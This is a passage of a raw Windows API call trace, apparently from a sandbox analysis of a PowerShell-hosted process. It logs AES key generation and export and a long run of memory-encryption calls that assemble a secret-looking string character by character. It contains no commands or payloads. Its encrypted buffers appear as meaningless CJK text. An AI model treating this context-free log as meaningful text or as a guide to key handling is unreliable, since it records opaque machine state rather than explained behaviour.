lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0246.254] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0246.254] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x243d00c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x243d00c*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0246.255] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0246.255] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0246.258] EtwEventActivityIdControl () returned 0x0 [0246.258] EtwEventActivityIdControl () returned 0x0 [0246.258] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.259] EtwEventActivityIdControl () returned 0x0 [0246.259] EtwEventActivityIdControl () returned 0x0 [0246.259] EtwEventActivityIdControl () returned 0x0 [0246.261] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.261] EtwEventActivityIdControl () returned 0x0 [0246.261] EtwEventActivityIdControl () returned 0x0 [0246.261] EtwEventActivityIdControl () returned 0x0 [0246.263] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d3a8) returned 1 [0246.265] CryptGenKey (in: hProv=0x5c4d3a8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c994a0) returned 1 [0246.266] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.266] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0246.266] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24449e4, pdwDataLen=0x5a2e8c4 | out: pbData=0x24449e4*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0246.266] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.266] EtwEventActivityIdControl () returned 0x0 [0246.266] EtwEventActivityIdControl () returned 0x0 [0246.269] EtwEventActivityIdControl () returned 0x0 [0246.269] SysStringLen (param_1="") returned 0x8 [0246.269] SysStringLen (param_1="s") returned 0x8 [0246.269] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.270] SysStringLen (param_1="供ʦ臥㐒嘩뺒鹄") returned 0x8 [0246.270] SysStringLen (param_1="供ʦ臥㐒嘩뺒鹄") returned 0x8 [0246.270] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.270] SysStringLen (param_1="sX") returned 0x8 [0246.270] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.271] SysStringLen (param_1="휰괿㬲ᣥ〡뱥ꩋл") returned 0x8 [0246.271] SysStringLen (param_1="휰괿㬲ᣥ〡뱥ꩋл") returned 0x8 [0246.271] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.271] SysStringLen (param_1="sXA") returned 0x8 [0246.271] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.271] SysStringLen (param_1="킙뜯Ꞅ뵠倧瞊弊肸") returned 0x8 [0246.271] SysStringLen (param_1="킙뜯Ꞅ뵠倧瞊弊肸") returned 0x8 [0246.271] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.271] SysStringLen (param_1="sXAx") returned 0x8 [0246.271] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.271] SysStringLen (param_1="鴲⮇Ⴞ鲌⢇") returned 0x8 [0246.271] SysStringLen (param_1="鴲⮇Ⴞ鲌⢇") returned 0x8 [0246.271] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.272] SysStringLen (param_1="sXAx+") returned 0x8 [0246.272] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.272] SysStringLen (param_1="匓³뭹灀නዦ甠쌨") returned 0x8 [0246.272] SysStringLen (param_1="匓³뭹灀නዦ甠쌨") returned 0x8 [0246.272] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.272] SysStringLen (param_1="sXAx+I") returned 0x8 [0246.272] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.272] SysStringLen (param_1="脮ഖ넂Ც栜싑") returned 0x8 [0246.272] SysStringLen (param_1="脮ഖ넂Ც栜싑") returned 0x8 [0246.272] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.272] SysStringLen (param_1="sXAx+IK") returned 0x8 [0246.272] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.272] SysStringLen (param_1="儘톙쌾ࢀ䩣\꿘≌) returned 0x8 [0246.272] SysStringLen (param_1="儘톙쌾ࢀ䩣\꿘≌) returned 0x8 [0246.273] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.273] SysStringLen (param_1="sXAx+IKn") returned 0x8 [0246.273] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.273] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊") returned 0x8 [0246.273] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊") returned 0x8 [0246.273] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊") returned 0x8 [0246.274] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊") returned 0x10 [0246.274] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.274] SysStringLen (param_1="sXAx+IKnh❢㌃Ꙛ麽龗䘱") returned 0x10 [0246.274] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.274] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊\훝⹣䭦봕괁ꑏ酯≌) returned 0x10 [0246.274] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊\훝⹣䭦봕괁ꑏ酯≌) returned 0x10 [0246.274] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.274] SysStringLen (param_1="sXAx+IKnhZ㌃Ꙛ麽龗䘱") returned 0x10 [0246.274] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.274] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊䙏쫋㠿ꩩ圴峊ᇦ") returned 0x10 [0246.274] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊䙏쫋㠿ꩩ圴峊ᇦ") returned 0x10 [0246.274] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.275] SysStringLen (param_1="sXAx+IKnhZ5Ꙛ麽龗䘱") returned 0x10 [0246.275] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.275] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊綏蓽ぺ㧓寤첂䤜褍") returned 0x10 [0246.275] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊綏蓽ぺ㧓寤첂䤜褍") returned 0x10 [0246.275] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.275] SysStringLen (param_1="sXAx+IKnhZ58Ꙛ麽龗䘱") returned 0x10 [0246.275] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.275] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊ේ㍹ꫛ樉픥湹ꩧ쫦") returned 0x10 [0246.275] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊ේ㍹ꫛ樉픥湹ꩧ쫦") returned 0x10 [0246.275] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.275] SysStringLen (param_1="sXAx+IKnhZ58f麽龗䘱") returned 0x10 [0246.275] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.276] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊ꍈ\寜흏ꬶ๢㼨辳⊴) returned 0x10 [0246.276] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊ꍈ\寜흏ꬶ๢㼨辳⊴) returned 0x10 [0246.276] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.276] SysStringLen (param_1="sXAx+IKnhZ58fz龗䘱") returned 0x10 [0246.276] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.276] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊꠯⡊Ȗ訄ท璀ꮢ饈") returned 0x10 [0246.276] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊꠯⡊Ȗ訄ท璀ꮢ饈") returned 0x10 [0246.276] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.276] SysStringLen (param_1="sXAx+IKnhZ58fz0䘱") returned 0x10 [0246.276] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.276] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊莠挒零ṉ腽蟞쓯") returned 0x10 [0246.276] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊莠挒零ṉ腽蟞쓯") returned 0x10 [0246.276] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.277] SysStringLen (param_1="sXAx+IKnhZ58fz0J") returned 0x10 [0246.277] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.277] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍") returned 0x10 [0246.277] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍") returned 0x10 [0246.277] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍") returned 0x10 [0246.277] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍") returned 0x18 [0246.277] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.278] SysStringLen (param_1="sXAx+IKnhZ58fz0Jh๢ٮ洏ﹶ숣如ਸ਼") returned 0x18 [0246.278] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.278] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍纯텓８暕❣ﰃ岏䃦") returned 0x18 [0246.278] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍纯텓８暕❣ﰃ岏䃦") returned 0x18 [0246.278] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.278] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmٮ洏ﹶ숣如ਸ਼") returned 0x18 [0246.278] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.278] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍ᵴ쓇ਯꐩ䳙ს뿛!") returned 0x18 [0246.278] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍ᵴ쓇ਯꐩ䳙ს뿛!") returned 0x18 [0246.278] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.278] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm洏ﹶ숣如ਸ਼") returned 0x18 [0246.278] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.279] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍俅㮑↯Ǚ\⋚) returned 0x18 [0246.279] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍俅㮑↯Ǚ\⋚) returned 0x18 [0246.279] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.279] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/ﹶ숣如ਸ਼") returned 0x18 [0246.279] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.279] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍ὼᨁ\ꗞ\쾽๫譌") returned 0x18 [0246.279] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍ὼᨁ\ꗞ\쾽๫譌") returned 0x18 [0246.279] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.279] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/M숣如ਸ਼") returned 0x18 [0246.279] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.279] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍콦裱埔桾ꦾຖᣏ") returned 0x18 [0246.279] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍콦裱埔桾ꦾຖᣏ") returned 0x18 [0246.279] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.279] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/My如ਸ਼") returned 0x18 [0246.280] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.280] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍ᙞ尌濜䷉Ꭱ䨸䐺") returned 0x18 [0246.280] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍ᙞ尌濜䷉Ꭱ䨸䐺") returned 0x18 [0246.280] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.280] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/Myjਸ਼") returned 0x18 [0246.280] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.280] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍懻䟐봔갲ᖨ퍀") returned 0x18 [0246.280] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍懻䟐봔갲ᖨ퍀") returned 0x18 [0246.280] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.280] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/Myjy") returned 0x18 [0246.280] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.280] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁") returned 0x18 [0246.281] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁") returned 0x18 [0246.281] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁") returned 0x18 [0246.281] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁") returned 0x20 [0246.281] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.281] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyE⫷埐天聃纔踺") returned 0x20 [0246.281] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.282] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁ԥ閁ᜄ⺱嶭瀡") returned 0x20 [0246.282] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁ԥ閁ᜄ⺱嶭瀡") returned 0x20 [0246.282] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.282] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyEr埐天聃纔踺") returned 0x20 [0246.282] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.282] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁쌼蘖谜럇ᠽথ鷜쐑") returned 0x20 [0246.282] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁쌼蘖谜럇ᠽথ鷜쐑") returned 0x20 [0246.282] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.282] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErb天聃纔踺") returned 0x20 [0246.282] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.282] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁ꡰꉩ庮\棜ﶸ幋포⊓) returned 0x20 [0246.283] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁ꡰꉩ庮\棜ﶸ幋포⊓) returned 0x20 [0246.283] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.283] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbE聃纔踺") returned 0x20 [0246.283] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.283] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁噗╆絀쐊㞤裤") returned 0x20 [0246.283] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁噗╆絀쐊㞤裤") returned 0x20 [0246.283] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.283] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET纔踺") returned 0x20 [0246.283] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.283] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁醔ኰ瞃묓墑慓쀫✙") returned 0x20 [0246.283] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁醔ኰ瞃묓墑慓쀫✙") returned 0x20 [0246.283] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.283] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6纔踺") returned 0x20 [0246.283] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.284] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁ؖ糫㌒깉뜻") returned 0x20 [0246.284] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁ؖ糫㌒깉뜻") returned 0x20 [0246.284] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.284] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J踺") returned 0x20 [0246.284] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.284] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁⽋ﯫឹ詗ᙡᗂ뵳") returned 0x20 [0246.284] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁⽋ﯫឹ詗ᙡᗂ뵳") returned 0x20 [0246.284] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.284] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/") returned 0x20 [0246.284] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.284] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒") returned 0x20 [0246.285] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒") returned 0x20 [0246.285] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒") returned 0x20 [0246.285] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒⾖") returned 0x28 [0246.285] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.285] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/Lꕍ≠➰愨젅精䷤") returned 0x28 [0246.285] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.285] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒嶲䍺퓙漾偫呺Ἄ") returned 0x28 [0246.285] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒嶲䍺퓙漾偫呺Ἄ") returned 0x28 [0246.285] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.286] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/Lv≠➰愨젅精䷤") returned 0x28 [0246.286] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.286] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒⻼⿿쵶婤⃁쪨") returned 0x28 [0246.286] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒⻼⿿쵶婤⃁쪨") returned 0x28 [0246.286] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.286] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/Lv/➰愨젅精䷤") returned 0x28 [0246.286] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.286] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒馄톕昋篞퟈밗") returned 0x28 [0246.286] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒馄톕昋篞퟈밗") returned 0x28 [0246.286] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.286] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/Lv/K愨젅精䷤") returned 0x28 [0246.286] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.287] SysStringLen 